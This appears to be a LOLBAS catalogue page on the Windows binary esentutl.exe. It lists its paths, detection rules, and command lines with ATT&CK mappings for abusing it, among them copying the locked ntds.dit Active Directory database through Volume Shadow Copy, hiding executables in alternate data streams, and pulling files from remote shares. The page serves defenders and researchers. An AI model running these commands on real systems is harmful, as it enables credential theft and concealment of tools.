

# Esentutl on LOLBAS

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## .. /Esentutl.exe

Binary for working with Microsoft Joint Engine Technology (JET) database

### Paths:

- C:\Windows\System32\esentutl.exe
- C:\Windows\SysWOW64\esentutl.exe

### Resources:

- <https://twitter.com/egre55/status/985994639202283520>
- <https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/>
- <https://twitter.com/bohops/status/1094810861095534592>

### Acknowledgements:

- egre55 ([@egre55](#))
- Mike Cary ([@grayfold3d](#))

### Detections:

- Sigma: [proc\\_creation\\_win\\_esentutl\\_params.yml](#)
- Sigma: [proc\\_creation\\_win\\_esentutl\\_webcache.yml](#)
- Sigma: [registry\\_event\\_esentutl\\_volume\\_shadow\\_copy\\_service\\_keys.yml](#)
- Sigma: [proc\\_creation\\_win\\_esentutl\\_sensitive\\_file\\_copy.yml](#)
- Splunk: [esentutl\\_sam\\_copy.yml](#)
- Elastic: [credential\\_access\\_copy\\_ntds\\_sam\\_volshadowcp\\_cmdline.toml](#)

## Copy

1. Copies the source VBS file to the destination VBS file.

```
esentutl.exe /y C:\Windows\Temp\file.source.vbs /d C:\Windows\Temp\file.dest.vbs /o
```

Use case

Copies files from A to B

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

[T1105: Ingress Tool Transfer](#)

2. Copies a (locked) file using Volume Shadow Copy

```
esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d C:\Windows\Temp\file.dit
```

Use case

Copy/extract a locked file such as the AD Database

Privileges required

Admin

Operating systems

Windows 10, Windows 11, Windows 2016 Server, Windows 2019 Server

ATT&CK® technique

[T1003.003: NTDS](#)

## Alternate data streams

1. Copies the source EXE to an Alternate Data Stream (ADS) of the destination file.

```
esentutl.exe /y C:\Windows\Temp\file.exe /d C:\Windows\Temp\file.ext:file.exe /o
```

Use case

Copy file and hide it in an alternate data stream as a defensive counter measure

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

[T1564.004: NTFS File Attributes](#)

2. Copies the source Alternate Data Stream (ADS) to the destination EXE.

```
esentutl.exe /y C:\Windows\Temp\file.ext:file.exe /d C:\Windows\Temp\file.exe /o
```

Use case

Extract hidden file within alternate data streams

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

[T1564.004: NTFS File Attributes](#)

3. Copies the remote source EXE to the destination Alternate Data Stream (ADS) of the destination file.

```
esentutl.exe /y \\servername\C$\Windows\Temp\file.exe /d C:\Windows\Temp\file.ext:file.exe /o
```

Use case

Copy file and hide it in an alternate data stream as a defensive counter measure

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

[T1564.004: NTFS File Attributes](#)

## Download

1. Copies the source EXE to the destination EXE file

```
esentutl.exe /y \\servername\C$\Windows\Temp\file.source.exe /d \\servername\C$\Windows\Temp\file.dest.c
```

Use case

Use to copy files from one unc path to another

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

[T1564.004: NTFS File Attributes](#)